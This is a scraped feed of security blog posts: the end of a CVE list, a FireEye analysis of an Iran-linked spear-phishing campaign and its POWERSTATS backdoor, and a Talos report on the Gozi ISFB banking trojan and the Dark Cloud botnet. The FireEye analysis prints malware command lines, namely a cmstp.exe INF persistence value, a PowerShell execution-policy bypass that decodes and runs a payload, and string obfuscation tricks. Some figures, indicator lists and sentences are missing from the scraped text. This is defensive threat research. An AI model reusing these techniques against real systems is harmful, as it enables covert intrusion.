CVE-2018-0894 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0895 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0896 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0897 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0898 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0899 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0900 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0901 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0902 – CNG Security Feature Bypass Vulnerability
CVE-2018-0903 – Microsoft Access Remote Code Execution Vulnerability
CVE-2018-0904 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0907 – Microsoft Office Excel Security Feature Bypass
CVE-2018-0909 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0910 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0911 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0912 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0913 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0914 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0915 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0916 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0917 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0919 – Microsoft Office Information Disclosure Vulnerability
CVE-2018-0921 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0922 – Microsoft Office Memory Corruption Vulnerability
CVE-2018-0923 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0926 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0927 – Microsoft Browser Information Disclosure Vulnerability
CVE-2018-0929 – Internet Explorer Information Disclosure Vulnerability
CVE-2018-0935 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0940 – Microsoft Exchange Elevation of Privilege Vulnerability
CVE-2018-0941 – Microsoft Exchange Information Disclosure Vulnerability
CVE-2018-0942 – Internet Explorer Elevation of Privilege Vulnerability
CVE-2018-0944 – Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2018-0947 – Microsoft Sharepoint Elevation of Privilege Vulnerability
CVE-2018-0977 – Win32k Elevation of Privilege Vulnerability
CVE-2018-0983 – Windows Storage Services Elevation of Privilege Vulnerability

Go to Source
Author: Talos Group

Iranian Threat Group Updates Tactics, Techniques and Procedures in SpearPhishing Campaign


From January 2018 to March 2018, through FireEye’s Dynamic Threat
Intelligence, we observed attackers leveraging the latest code
execution and persistence techniques to distribute malicious
macro-based documents to individuals in Asia and the Middle East.

We attribute this activity to TEMP.Zagros, an Iran-nexus actor that
has been active since at least May 2017. This actor has engaged in
prolific spear phishing of government and defense entities in Central
and Southwest Asia. The spear phishing emails and attached malicious
macro documents typically have geopolitical themes. When successfully
executed, the malicious documents install a backdoor we track as POWERSTATS.

One of the more interesting observations during the analysis of
these files was the re-use of the latest AppLocker bypass, and lateral
movement techniques for the purpose of indirect code execution. The IP
address in the lateral movement techniques was substituted with the
local machine IP address to achieve code execution on the system.

Campaign Timeline

In this campaign, the threat actor’s tactics, techniques and
procedures (TTPs) shifted after about a month, as did their targets. A
brief timeline of this activity is shown in Figure 1.

Figure 1: Timeline of this recently
observed spear phishing campaign

The first part of the campaign (From Jan. 23, 2018, to Feb. 26,
2018) used a macro-based document that dropped a VBS file and an INI
file. The INI file contains the Base64 encoded PowerShell command,
which will be decoded and executed by PowerShell using the command
line generated by the VBS file on execution using WScript.exe. The
process chain is shown in Figure 2.

Figure 2: Process chain for the first
part of the campaign

Although the actual VBS script changed from sample to sample, with
different levels of obfuscation and different ways of invoking the
next stage of process tree, its final purpose remained same: invoking
PowerShell to decode the Base64 encoded PowerShell command in the INI
file that was dropped earlier by the macro, and executing it. One such
example of the VBS invoking PowerShell via MSHTA is shown in Figure 3.

Figure 3: VBS invoking PowerShell via MSHTA

The second part of the campaign (from Feb. 27, 2018, to March 5,
2018) used a new variant of the macro that does not use VBS for
PowerShell code execution. Instead, it uses one of the recently
disclosed code execution techniques leveraging INF and SCT files,
which we will go on to explain later in the blog.

Infection Vector

We believe the infection vector for all of the attacks involved in
this campaign are macro-based documents sent as an email attachment.
One such email that we were able to obtain was targeting users in
Turkey, as shown in Figure 4:

Figure 4: Sample spear phishing email
containing macro-based document attachment

The malicious Microsoft Office attachments that we observed appear
to have been specially crafted for individuals in four countries:
Turkey, Pakistan, Tajikistan and India. What follows is four examples,
and a complete list is available in the Indicators of Compromise
section at the end of the blog.

Figure 5 shows a document purporting to be from the National
Assembly of Pakistan.

Figure 5: Document purporting to be from
the National Assembly of Pakistan

A document purporting to be from the Turkish Armed Forces, with
content written in the Turkish language, is shown in Figure 6.

Figure 6: Document purporting to be from
the Turkish Armed Forces

A document purporting to be from the Institute for Development and
Research in Banking Technology (established by the Reserve Bank of
India) is shown in Figure 7.

Figure 7: Document purporting to be from
the Institute for Development and Research in Banking Technology

Figure 8 shows a document written in Tajik that purports to be from
the Ministry of Internal Affairs of the Republic of Tajikistan.

Figure 8: Document written in Tajik that
purports to be from the Ministry of Internal Affairs of the Republic
of Tajikistan

Each of these macro-based documents used similar techniques for code
execution, persistence and communication with the command and control
(C2) server.

Indirect Code Execution Through INF and SCT

This scriptlet
code execution technique
leveraging INF and SCT files was
recently discovered and documented in February 2018. The threat group
in this recently observed campaign – TEMP.Zagros – weaponized their
malware using the following techniques.

The macro in the Word document drops three files in a hard coded
path: C:programdata. Since the path is hard coded, the execution will
only be observed in operating systems, Windows 7 and above. The
following are the three files:

  • Defender.sct – The malicious JavaScript based scriptlet
  • DefenderService.inf – The INF file that is used to
    invoke the above scriptlet file.
  • WindowsDefender.ini – The Base64 encoded and obfuscated
    PowerShell script.

After dropping the three files, the macro will set the following
registry key to achieve persistence:

= cmstp.exe /s c:programdataDefenderService.inf

Upon system restart, cmstp.exe will be used to execute the SCT file
indirectly through the INF file. This is possible because inside the
INF file we have the following section:


That section gets indirectly invoked through the
DefaultInstall_SingleUser section of INF, as shown in Figure 9.

Figure 9: Indirectly invoking SCT through
the DefaultInstall_SingleUser section of INF

This method of code execution is performed in an attempt to evade
security products. FireEye MVX and HX Endpoint Security technology
successfully detect this code execution technique.

SCT File Analysis

The code of the Defender.sct file is an obfuscated JavaScript. The
main function performed by the SCT file is to Base64 decode the
contents of WindowsDefender.ini file and execute the decoded
PowerShell Script using the following command line:

powershell.exe -exec Bypass -c
iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\WindowsDefender.ini)

The rest of the malicious activities are performed by the PowerShell Script.

PowerShell File Analysis

The PowerShell script employs several layers of obfuscation to hide
its actual functionality. In addition to obfuscation techniques, it
also has the ability to detect security tools on the analysis machine,
and can also shut down the system if it detects the presence of such tools.

Some of the key obfuscation techniques used are:

  • Character Replacement: Several instances of character
    replacement and string reversing techniques (Figure 10) make
    analysis difficult.

Figure 10: Character replacement and
string reversing techniques

  • PowerShell Environment Variables: Nowadays, malware authors
    commonly mask critical strings such as “IEX” using environment
    variables. Some of the instances used in this script are:

    • $eNv:puBLic[13]+$ENv:pUBLIc[5]+’x’
    • ($ENV:cOMsPEC[4,26,25]-jOin”)
  • XOR encoding: The biggest section of the PowerShell script is
    XOR encoded using a single byte key, as shown in Figure 11.

Figure 11: PowerShell script is XOR
encoded using a single byte key

After deobfuscating the contents of the PowerShell Script, we can
divide it into three sections.

Section 1

The first section of the PowerShell script is responsible for
setting different key variables that are used by the remaining
sections of the PowerShell script, especially the following variables:

  • TEMpPAtH =
    “C:ProgramData” (the path used for storing the temp
  • Get_vAlIdIP = (used to
    get the public IP address of the machine)
    WindowsDefender.ini (file used to store Powershell code)
  • PRIVAtE = Private Key exponents
  • PUbLIc = Public Key
  • Hklm = “HKLM:Software”
  • Hkcu =
  • ValuE =
  • DrAGon_MidDLe = [array
    of proxy URLs]

Among those variables, there is one variable of particular interest,
DrAGon_MidDLe, which stores the list of proxy URLs (detailed at
the end of the blog in the Network Indicators portion of the
Indicators of Compromise section) that will be used to interact with
the C2 server, as shown in Figure 12.

Figure 12: DrAGon_MidDLe stores the list
of proxy URLs used to interact with C2 server

Section 2

The second section of the PowerShell script has the ability to
perform encryption and decryption of messages that are exchanged
between the system and the C2 server. The algorithm used for
encryption and decryption is RSA, which leverages the public and
private key exponents included in Section 1 of the PowerShell script.

Section 3

The third section of the PowerShell script is the biggest section
and has a wide variety of functionalities.

During analysis, we observed a code section where a message written
in Chinese and hard coded in the script will be printed in the case of
an error while connecting to the C2 server:

The English translation for this message is: “Cannot connect to
website, please wait for dragon”.

Other functionalities provided by this section of the PowerShell
Script are as follows:

  • Retrieves the following
    data from the system by leveraging Windows Management
    Instrumentation (WMI) queries and environment variables:

    • IP
      Address from Network Adapter Configuration
    • OS Name
    • OS Architecture
    • Computer Name
    • Computer
      Domain Name
    • Username

All of this data is concatenated and
formatted as shown in Figure 13:

Figure 13: Concatenated and formatted
data retrieved by PowerShell script

  • Register the victim’s
    machine to the C2 server by sending the REGISTER command to the
    server. In response, if the status is OK, then a TOKEN is received
    from the C2 server that is used to synchronize the activities
    between the victim’s machine and the C2 server.

While sending to the C2 server, the
data is formatted as follows:

@{SYSINFO  = $get.ToString(); ACTION = “REGISTER”;}

  • Ability to take
  • Checks for the presence
    of security tools (detailed in the Appendix) and if any of these
    security tools are discovered, then the system will be shut down, as
    shown in Figure 14.

Figure 14: System shut down upon
discovery of security tools

  • Ability to receive
    PowerShell script from the C2 server and execute on the machine.
    Several techniques are employed for executing the PowerShell

    • If command starts with “excel”, then it leverages
      DDEInitiate Method of Excel.Appilcation to execute the
    • If the command starts with “outlook”, then it leverages
      Outlook.Application and MSHTA to execute the code: 
    • If the command starts with “risk”, then execution is
      performed through DCOM object: 
  • File upload
  • Ability to disable
    Microsoft Office Protected View (as shown in Figure 15) by setting
    the following keys in the Windows Registry:

    • DisableAttachmentsInPV
    • DisableInternetFilesInPV
    • DisableUnsafeLocationsInPV

Figure 15: Disabling Microsoft Office
Protected View

  • Ability to remotely
    reboot or shut down or clean the system based on the command
    received from the C2 server, as shown in Figure 16.

Figure 16: Reboot, shut down and clean commands

  • Ability to sleep for a
    given number of seconds.

The following table summarizes the main C2 commands supported by
this PowerShell Script.

C2 Command Purpose
reboot Reboot the system using shutdown command
shutdown Shut down the system using shutdown
clean Wipe the Drives, C:, D:, E:, F:
screenshot Take a screenshot of the System
upload Encrypt and upload the information from the
excel Leverage Excel.Application COM object for code
outlook Leverage Outlook.Application COM object for
code execution
risk Leverage DCOM object for code execution


This activity shows us that TEMP.Zagros stays up-to-date with the
latest code execution and persistence mechanism techniques, and that
they can quickly leverage these techniques to update their malware. By
combining multiple layers of obfuscation, they deter the process of
reverse engineering and also attempt to evade security products.

Users can protect themselves from such attacks by disabling Office
macros in their settings and also by being more vigilant when enabling
macros (especially when prompted) in documents, even if such documents
are from seemingly trusted sources.

Indicators of Compromise

Macro based Documents and Hashes
SHA256 Hash Filename Targeted Region
eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894 na.doc


76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 Invest in Turkey.doc Turkey
6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac güvenlik yönergesi. .doc Turkey
009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 idrbt.doc


18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 Türkiye Cumhuriyeti Kimlik
3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb Turkish Armed Forces.doc




3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 MVD-FORM-1800.doc Tajikistan
cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88 KEGM-CyberAttack.doc Turkey
1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 IL-1801.doc Turkey
aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627 kiyiemniyeti.doc Turkey
93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 TCELL-S1-M.doc Tajikistan
c87799cce6d65158da97aa31a5160a0a6b6dd5a89dea312604cc66ed5e976cc9 egm-1.doc Turkey
2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 Connectel .pk.doc Pakistan
18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd gßvenlik_yÜnergesi_.doc Turkey
153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 MIT.doc Turkey
d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025 Gvenlik Ynergesi.doc Turkey
af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102 Gvenlik Ynergesi.doc Turkey
5550615affe077ddf66954edf132824e4f1fe16b3228e087942b0cad0721a6af NA Turkey
3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c Anadolu Güneydoğu
Projesinde .doc

Network Indicators

List of Proxy URLs








































































































































































































































































































































































































































































Security Tools Checked on the Machine





























Go to Source
Author: Sudeep Singh

Gozi ISFB Remains Active in 2018, Leverages “Dark Cloud” Botnet For Distribution

This blog post was authored by Edmund Brumaghin and Holger Unterbrink, with contributions from Adam Weller.


Gozi ISFB is a well-known and widely distributed banking trojan, and has been in the threat landscape for the past several years. Banking trojans are a widely distributed type of malware that attackers leverage in an attempt to obtain banking credentials from customers of various financial institutions. The source code associated with Gozi ISFB has been leaked several times over the years, and the robust features available within the Gozi ISFB code base have since been integrated into additional malware, such as GozNym. Talos published detailed research about GozNym in a September 2016 blog post. Talos has been monitoring Gozi ISFB activity since then, and has discovered a series of campaigns over the past six month that have been making use of the elusive “Dark Cloud” botnet for distribution. In investigating the infrastructure associated with Dark Cloud, we identified a significant amount of malicious activity making use of this same infrastructure, including Gozi ISFB distribution, Nymaim command and control, and a variety of different spam campaigns and scam activity. Talos is publishing details related to ongoing Gozi ISFB activity, the Dark Cloud botnet, as well as the additional threats we have observed using this infrastructure over the past couple of years.


Talos has observed several distribution campaigns over the past few months that exhibit unusual characteristics. These campaigns appear to be relatively low-volume, with the attackers choosing to target specific organizations. They do not appear to send large amounts of spam messages to the organizations being targeted, instead choosing to stay under the radar while putting extra effort into the creation of convincing emails, in an attempt to evade detection while maximizing the likelihood that the victim will open the attached files.

Our engineers have discovered that while the Gozi ISFB campaigns are ongoing, the distribution and C2 infrastructure does not appear to stay active for extended periods, making analysis of older campaigns and samples more difficult. The attackers appear to be very quickly moving to new domains and IP addresses, not only for each campaign, but also for individual emails that are part of the same campaign. The campaigns that Talos analyzed took place during the fourth quarter of 2017, and have continued into 2018, with new campaigns being launched every week in an attempt to ensnare more victims and generate revenue for the attackers.


This malware is distributed using malicious spam email campaigns, which feature Microsoft Word file attachments that function as malware downloaders. The emails appear targeted in nature, an example of which is shown below.

Interestingly, the attackers chose to create emails that appear to be part of an existing email thread, likely in an attempt to convince the victim of their legitimacy. In addition to crafting the email delivering the malicious Word document, they also create additional email subjects and accompanying bodies, which were included with the malicious email. This is not something that is typically seen in most malicious email campaigns, and shows the level of effort the attackers put into making the emails seem legitimate to maximize the likelihood that the victim would open the attached file.

Figure 1: Example Email Message

When opened, the attached Word document displays the following decoy image that makes it appear as if the attachment is a document that was created using Office 365. It instructs the user to “Enable Editing” and then “Enable Content.”

Figure 2: Malicious Word Document

In the case that the victim follows the instructions, macros embedded within the Word document will execute, facilitating the download and executing the malware from an attacker-controlled server. The infection process associated with these emails is described in the following section.


As mentioned above, the Word documents come with an embedded, obfuscated visual basic for applications, or VBA, macro, which in most cases, is executed when the document is closed by the victim, as shown in the following screenshot. Executing the macro when the document is closed is a clever trick to bypass some sandbox systems, which only open the documents, but never close them during analysis.

Figure 3: Obfuscated VBA Macro

Once deobfuscated, the macro does nothing more than simply download an HTA file from a web server. Figure 4 shows the deobfuscated final call from the script above. In other documents, they are using different or slightly modified VBA macros, but deobfuscated, they all do a similar final call, similar to what is shown in Figures 4 and 5.

Figure 4: Final Macro Call
Figure 5: Alternate Macro Call

Due to the fact that HTA files are seen as local applications, the content is executed as a fully trusted application. Therefore, no security-related questions are asked to the user. The content that is downloaded from qdijqwdunqwiqhwew[.]com is an obfuscated JavaScript script (see Figure 6)

Figure 6: Obfuscated JavaScript

The lopomeriara variable is a very long obfuscated string which we have shortened (…) in the screenshot. Deobfuscated, it resolves to:

Figure 7: Deobfuscated Javascript

In other words, it is using ActiveX to execute a PowerShell script, which downloads and executes the malware to be installed on the victim’s machine. In this case the filename was 84218218.exe.

We have analyzed more than 100 malicious Word documents from this campaign, and it appears that the vast majority of them are individualized. The individualized ones all appear similar, but all their hashes are different, and their VBA code is either completely different or at least slightly modified. Even the image that the adversaries are using in these documents (see Figure 8) is not the same — it differs by slightly changed color values and pixels as you can see in Figure 9.

Figure 8: Document Image
Figure 9: Image Comparison

An example of the slightly changed VBA code skeleton can be seen in Figure 10. The adversaries are changing variables, function names, arrays, etc. for more or less every single Word document. Nevertheless, in the majority of documents, the basic code structure stays the same. Sometimes they are re-ordering the functions, or they add or remove a few lines of code. But as shown in Figures 10 and 11, the main algorithms stay the same.

Figure 10: VBA Skeleton Comparison
Figure 11: Additional Comparison

As mentioned above, there are some documents where the VBA script is completely different. The rightmost image in Figure 12 is an example of this. Deobfuscated, it is doing the same known “http://<some server>/…php?utma=….” HTTP request which we have seen before.

Figure 12: VBA Code Differences

We focused the majority of our investigation on campaigns between the fourth quarter of 2017 until the present, but based on other reports and our telemetry data, they have likely been going on for a couple of years. Within the data that we collected, the adversaries have changed the images within the Word documents from time to time (Figures 13 and 14) and used different VBA code in their malicious macros. The schema stays the same, the pixels and color values of the pictures inside the different campaigns are slightly changed, but the message stays the same.

Figure 13: Earlier Document Image
Figure 14: Document Image Font Differences

An interesting point is that some of them are even localized, as you can see below in Figure 15. This matches the corresponding phishing emails we talked about before. The separate attacks are highly customized and targeted.

Figure 15: Document Image Localization


The payload (e.g. 84218218.exe as described above), is different depending on the specific campaign. The vast majority of payloads are banking trojans based on the Gozi ISFB code base, but we have also seen executables identified by AV products as belonging to other malware families, such as CryptoShuffler, Sennoma and SpyEye. We have looked closer into the payload mentioned above, and we can clearly identify it as ISFB. Its functionality is very similar to the one described in this report by the Polish Computer Emergency Response Team (CERT). For example, the sample is using the same rolling XOR algorithm to protect its strings.

The anti-VM methods used within this sample are also identical — the BSS section encryption and the dropper payload setup are very similar. The dropper is also obfuscated with useless strings. It is interesting to note that in the sample we analyzed, the DGA code mentioned in the paper above is included, but it is never used due to its configuration. The sample we analyzed was using a hardcoded domain to communicate with the C2 server. This domain is tmeansmderivinclusionent[.]net. The sample was not configured to use TOR.

Regarding the decryption of the BSS section, this sample presents a particularity. It has a loop, which creates small temporary files with a random file name. After creating the files, it queries their creation file time. Then, it applies some transformations to the four least significant bytes of this timestamp to generate a one-byte value. Due to the transformation algorithm, this will result in a value between 0x00000008 and 0x000000FF. See the pseudocode below:

t = t >> 16
t = t & 0x000000F7
t = t + 8

This one-byte value is then added to the decryption key. With this key, the malware tries to decrypt the BSS section. If the decryption fails, it starts the loop again, and creates the next file until the section has been properly decoded. This technique seems to replace the anti-sandbox technique based on mouse movement mentioned in previous reports. Although this approach would not hinder dynamic analysis in a full-system VM, we believe it could be an attempt to bypass simpler application-level emulators that may not properly implement the Windows API (e.g., those which might return a fixed timestamp).

The malware loader contains two versions of the same DLL. One is a 32-bit DLL, and the other is a 64-bit DLL, both of which contain the malware’s hardcoded configuration. The way they store the DLLs and configuration values is by leveraging a set of structures indexed in an array located right after the section table (referred to as FJ-struct in the report mentioned above). After the decryption, depending on the victim machine, either the 32-bit or the 64-bit DLL is injected into the explorer.exe process running on the victim machine.


In analyzing the domains and associated infrastructure used to distribute this malware, as well as the associated C2 domains, Talos identified significant overlap between the infrastructure used in these campaigns and what has been described as being associated with a botnet referred to as “Dark Cloud.” This botnet was initially described in 2016 in a blog post here. This botnet is interesting, as it was reportedly initially created to provide a “bulletproof” way to host several carding sites. It has since expanded, and is also being used for the distribution and administration of various malware families. During our analysis of the infrastructure being used, we identified significant Gozi ISFB and Nymaim distribution and command-and-control, adult dating spam, various carding resources and other malicious activities from this infrastructure.

There are several interesting characteristics associated with this particular botnet. One of the most prominent is the use of fast flux techniques, which makes tracking the backend infrastructure more difficult. By frequently changing the DNS records associated with the malicious domains, attackers can make use of an extensive network of proxies, continuously changing the address of the IP being used to handle communications to the web servers the attacker controls.

Talos observed that the time-to-live (TTL) value for DNS records associated with domains used in these malware campaigns were typically set to 150, allowing the attackers to issue DNS record updates every three minutes.

Figure 16: Sample DNS TTL Values

As we began investigating the domains and IP addresses associated with the distribution and post-infection C2 of Gozi ISFB, we noticed that in most of the cases the same infrastructure was being used by the various carding forums referenced in the KrebsOnSecurity article mentioned above. Using passive DNS data, we collected every IP address that the domains under investigation had been seen resolving to. We also performed the reverse operation, collecting every domain that had ever been seen resolving to the IP addresses we previously collected in an attempt to get the most complete picture of the infrastructure.

Once we had this information collected, we began to investigate all of the activity that had been observed associated with this infrastructure. What we discovered was a laundry list of cybercriminal activities, all being conducted using this same infrastructure over the past couple of years.

One of the most notable carding forums leveraging this fast flux botnet is known as Uncle Sam.

Figure 17: Uncle Sam Website

In addition to Uncle Sam, we also observed the following carding sites and forums also making use of this infrastructure:

  • Paysell
  • Try2Swipe
  • CVVShop
  • Csh0p
  • RoyalDumps
  • McDuck
  • Prvtzone
  • Verified

Note that in several cases, the site owners had registered their domains using multiple TLDs (such as .BZ, .WS and .LV TLDs, for example).

We wrote a script that captured all of the IP addresses that the Uncle Sam website resolved to over a 24-hour period. We determined that over this period, the website had resolved to 287 unique IP addresses. This equates to an IP rotation of approximately 12 times per hour, or every five minutes. This demonstrates just how fluid the DNS configuration associated with these domains is and how much infrastructure is being used by these attackers.

In addition to various carding websites, we also identified a significant number of Nymaim samples which were beaconing out to IP addresses within this botnet. Nymaim is a malware family that functions as a downloader for additional malware, most commonly seen associated with the delivery of ransomware.

Talos also observed that over the past couple of years, several of the domains we investigated were hosting fake mail generator applications, primarily used to generate spam messages associated with various adult dating websites.


In analyzing all of the infrastructure associated with this botnet, we identified that the attackers appear to be actively avoiding using proxies and hosts located in Western Europe, Central Europe and North America. The majority of the systems we analyzed were located in Eastern Europe, Asia, and the Middle East. Below is a graphic showing where the largest number of systems were located globally.

Figure 18: Geographic Heat Map

Additionally, the following bar graph shows the hosting providers around the world that were most heavily used for hosting the systems used by this botnet.

Figure 19: Most Impacted ASNs

Talos is continuing to investigate and track the operations of this botnet to ensure customers remain protected from the various threats that are associated with it.


Gozi ISFB is a banking trojan that has been used extensively by attackers who are targeting organizations around the world. It has been around for the past several years, and ongoing campaigns indicate that it will not be going away any time soon. Attackers are continuing to modify their techniques and finding effective new ways to obfuscate their malicious server infrastructure in an attempt to make analysis and tracking more difficult. Talos has identified the Dark Cloud botnet being used for a multitude of malicious purposes. We will continue to monitor these threats as they continue to evolve over time to ensure that customers remain protected and the public is informed with regards to continued use of threats such as Gozi ISFB, Nymaim and others.

Go to Source
Author: Talos Group